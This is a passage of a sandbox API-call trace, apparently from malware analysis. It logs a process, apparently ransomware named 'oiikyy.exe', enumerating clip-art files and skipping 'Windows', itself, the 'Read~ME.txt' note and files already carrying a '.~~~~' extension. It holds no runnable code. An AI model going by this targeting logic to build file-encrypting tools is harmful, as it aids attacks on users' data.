	[0083.838] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1
	[0083.838] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="Windows") returned -1
	[0083.838] lstrcmpW (lpString1="HH02312_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.838] StrStrW (lpFirst="HH02312_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.838] lstrcmpW (lpString1="HH02312_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.838] GetCurrentThreadId () returned 0x618
	[0083.838] RtlWakeConditionVariable () returned 0x365f48
	[0083.839] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1
	[0083.839] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="Windows") returned -1
	[0083.839] lstrcmpW (lpString1="HH02313_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.839] StrStrW (lpFirst="HH02313_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.839] lstrcmpW (lpString1="HH02313_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.839] GetCurrentThreadId () returned 0x618
	[0083.839] RtlWakeConditionVariable () returned 0x365f48
	[0083.839] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1
	[0083.839] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="Windows") returned -1
	[0083.839] lstrcmpW (lpString1="HM00005_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.839] StrStrW (lpFirst="HM00005_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.839] lstrcmpW (lpString1="HM00005_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.839] GetCurrentThreadId () returned 0x618
	[0083.839] RtlWakeConditionVariable () returned 0x365f48
	[0083.839] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1
	[0083.839] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="Windows") returned -1
	[0083.839] lstrcmpW (lpString1="HM00114_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.839] StrStrW (lpFirst="HM00114_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.839] lstrcmpW (lpString1="HM00114_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.839] GetCurrentThreadId () returned 0x618
	[0083.839] RtlWakeConditionVariable () returned 0x365f48
	[0083.840] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1
	[0083.840] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="Windows") returned -1
	[0083.840] lstrcmpW (lpString1="HM00116_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.840] StrStrW (lpFirst="HM00116_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.840] lstrcmpW (lpString1="HM00116_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.840] GetCurrentThreadId () returned 0x618
	[0083.840] RtlWakeConditionVariable () returned 0x365f48
	[0083.840] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1
	[0083.840] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="Windows") returned -1
	[0083.840] lstrcmpW (lpString1="HM00172_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.840] StrStrW (lpFirst="HM00172_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.840] lstrcmpW (lpString1="HM00172_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.840] GetCurrentThreadId () returned 0x618
	[0083.840] RtlWakeConditionVariable () returned 0x365f48
	[0083.840] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1
	[0083.840] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="Windows") returned -1
	[0083.840] lstrcmpW (lpString1="HM00426_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.840] StrStrW (lpFirst="HM00426_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.840] lstrcmpW (lpString1="HM00426_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.840] GetCurrentThreadId () returned 0x618
	[0083.840] RtlWakeConditionVariable () returned 0x365f48
	[0083.841] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1
	[0083.841] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="Windows") returned -1
	[0083.841] lstrcmpW (lpString1="HTECH_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.841] StrStrW (lpFirst="HTECH_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.841] lstrcmpW (lpString1="HTECH_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.841] GetCurrentThreadId () returned 0x618
	[0083.841] RtlWakeConditionVariable () returned 0x365f48
	[0083.841] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1
	[0083.841] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="Windows") returned -1
	[0083.841] lstrcmpW (lpString1="IN00046_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.841] StrStrW (lpFirst="IN00046_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.841] lstrcmpW (lpString1="IN00046_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.841] GetCurrentThreadId () returned 0x618
	[0083.841] RtlWakeConditionVariable () returned 0x365f48
	[0083.841] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1
	[0083.841] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="Windows") returned -1
	[0083.841] lstrcmpW (lpString1="IN00118_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.841] StrStrW (lpFirst="IN00118_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.841] lstrcmpW (lpString1="IN00118_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.841] GetCurrentThreadId () returned 0x618
	[0083.842] RtlWakeConditionVariable () returned 0x365f48
	[0083.842] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1
	[0083.842] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="Windows") returned -1
	[0083.842] lstrcmpW (lpString1="IN00177_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.842] StrStrW (lpFirst="IN00177_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.842] lstrcmpW (lpString1="IN00177_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.842] GetCurrentThreadId () returned 0x618
	[0083.842] RtlWakeConditionVariable () returned 0x365f48
	[0083.842] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1
	[0083.842] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="Windows") returned -1
	[0083.842] lstrcmpW (lpString1="IN00204_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.842] StrStrW (lpFirst="IN00204_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.842] lstrcmpW (lpString1="IN00204_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.842] GetCurrentThreadId () returned 0x618
	[0083.842] RtlWakeConditionVariable () returned 0x365f48
	[0083.842] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1
	[0083.842] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="Windows") returned -1
	[0083.842] lstrcmpW (lpString1="IN00233_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.842] StrStrW (lpFirst="IN00233_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.842] lstrcmpW (lpString1="IN00233_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.842] GetCurrentThreadId () returned 0x618
	[0083.843] RtlWakeConditionVariable () returned 0x365f48
	[0083.843] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1
	[0083.843] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="Windows") returned -1
	[0083.843] lstrcmpW (lpString1="IN00343_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.843] StrStrW (lpFirst="IN00343_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.843] lstrcmpW (lpString1="IN00343_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.843] GetCurrentThreadId () returned 0x618
	[0083.843] RtlWakeConditionVariable () returned 0x365f48
	[0083.843] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1
	[0083.984] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="Windows") returned -1
	[0083.984] lstrcmpW (lpString1="IN00346_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.984] StrStrW (lpFirst="IN00346_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.984] lstrcmpW (lpString1="IN00346_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.984] GetCurrentThreadId () returned 0x618
	[0083.984] RtlWakeConditionVariable () returned 0x365f48
	[0083.990] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1
	[0083.990] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="Windows") returned -1
	[0083.990] lstrcmpW (lpString1="IN00351_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.990] StrStrW (lpFirst="IN00351_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.990] lstrcmpW (lpString1="IN00351_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.998] GetCurrentThreadId () returned 0x618
	[0083.998] RtlWakeConditionVariable () returned 0x365f48
	[0083.998] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1
	[0083.998] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="Windows") returned -1
	[0083.998] lstrcmpW (lpString1="IN00557_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.998] StrStrW (lpFirst="IN00557_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.998] lstrcmpW (lpString1="IN00557_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.998] GetCurrentThreadId () returned 0x618
	[0083.999] RtlWakeConditionVariable () returned 0x365f48
	[0083.999] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1
	[0083.999] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="Windows") returned -1
	[0083.999] lstrcmpW (lpString1="IN00915_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.999] StrStrW (lpFirst="IN00915_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.999] lstrcmpW (lpString1="IN00915_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.999] GetCurrentThreadId () returned 0x618
	[0083.999] RtlWakeConditionVariable () returned 0x365f48
	[0083.999] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1
	[0083.999] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="Windows") returned -1
	[0083.999] lstrcmpW (lpString1="IN00919_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.999] StrStrW (lpFirst="IN00919_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.999] lstrcmpW (lpString1="IN00919_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.999] GetCurrentThreadId () returned 0x618
	[0083.999] RtlWakeConditionVariable () returned 0x365f48
	[0083.999] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1
	[0083.999] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="Windows") returned -1
	[0084.000] lstrcmpW (lpString1="IN00956_.WMF", lpString2="oiikyy.exe") returned -1
	[0084.000] StrStrW (lpFirst="IN00956_.WMF", lpSrch=".~~~~") returned 0x0
	[0084.000] lstrcmpW (lpString1="IN00956_.WMF", lpString2="Read~ME.txt") returned -1
	[0084.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.000] GetCurrentThreadId () returned 0x618
	[0084.000] RtlWakeConditionVariable () returned 0x365f48
	[0084.000] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1
	[0084.000] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="Windows") returned -1
	[0084.000] lstrcmpW (lpString1="IN00957_.WMF", lpString2="oiikyy.exe") returned -1
	[0084.000] StrStrW (lpFirst="IN00957_.WMF", lpSrch=".~~~~") returned 0x0
	[0084.000] lstrcmpW (lpString1="IN00957_.WMF", lpString2="Read~ME.txt") returned -1
	[0084.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.000] GetCurrentThreadId () returned 0x618
	[0084.000] RtlWakeConditionVariable () returned 0x365f48
	[0084.000] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1
	[0084.000] lstrcmpiW (lpString1="INDST_01.MID", lpString2="Windows") returned -1
	[0084.000] lstrcmpW (lpString1="INDST_01.MID", lpString2="oiikyy.exe") returned -1
	[0084.000] StrStrW (lpFirst="INDST_01.MID", lpSrch=".~~~~") returned 0x0
	[0084.000] lstrcmpW (lpString1="INDST_01.MID", lpString2="Read~ME.txt") returned -1
	[0084.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.000] GetCurrentThreadId () returned 0x618
	[0084.000] RtlWakeConditionVariable () returned 0x365f48
	[0084.000] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1
	[0084.000] lstrcmpiW (lpString1="J0075478.GIF", lpString2="Windows") returned -1
	[0084.000] lstrcmpW (lpString1="J0075478.GIF", lpString2="oiikyy.exe") returned -1
	[0084.000] StrStrW (lpFirst="J0075478.GIF", lpSrch=".~~~~") returned 0x0
	[0084.000] lstrcmpW (lpString1="J0075478.GIF", lpString2="Read~ME.txt") returned -1
	[0084.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.000] GetCurrentThreadId () returned 0x618
	[0084.000] RtlWakeConditionVariable () returned 0x365f48
	[0084.000] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1
	[0084.001] lstrcmpiW (lpString1="J0086384.WMF", lpString2="Windows") returned -1
	[0084.001] lstrcmpW (lpString1="J0086384.WMF", lpString2="oiikyy.exe") returned -1
	[0084.001] StrStrW (lpFirst="J0086384.WMF", lpSrch=".~~~~") returned 0x0
	[0084.001] lstrcmpW (lpString1="J0086384.WMF", lpString2="Read~ME.txt") returned -1
	[0084.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.001] GetCurrentThreadId () returned 0x618
	[0084.001] RtlWakeConditionVariable () returned 0x365f48
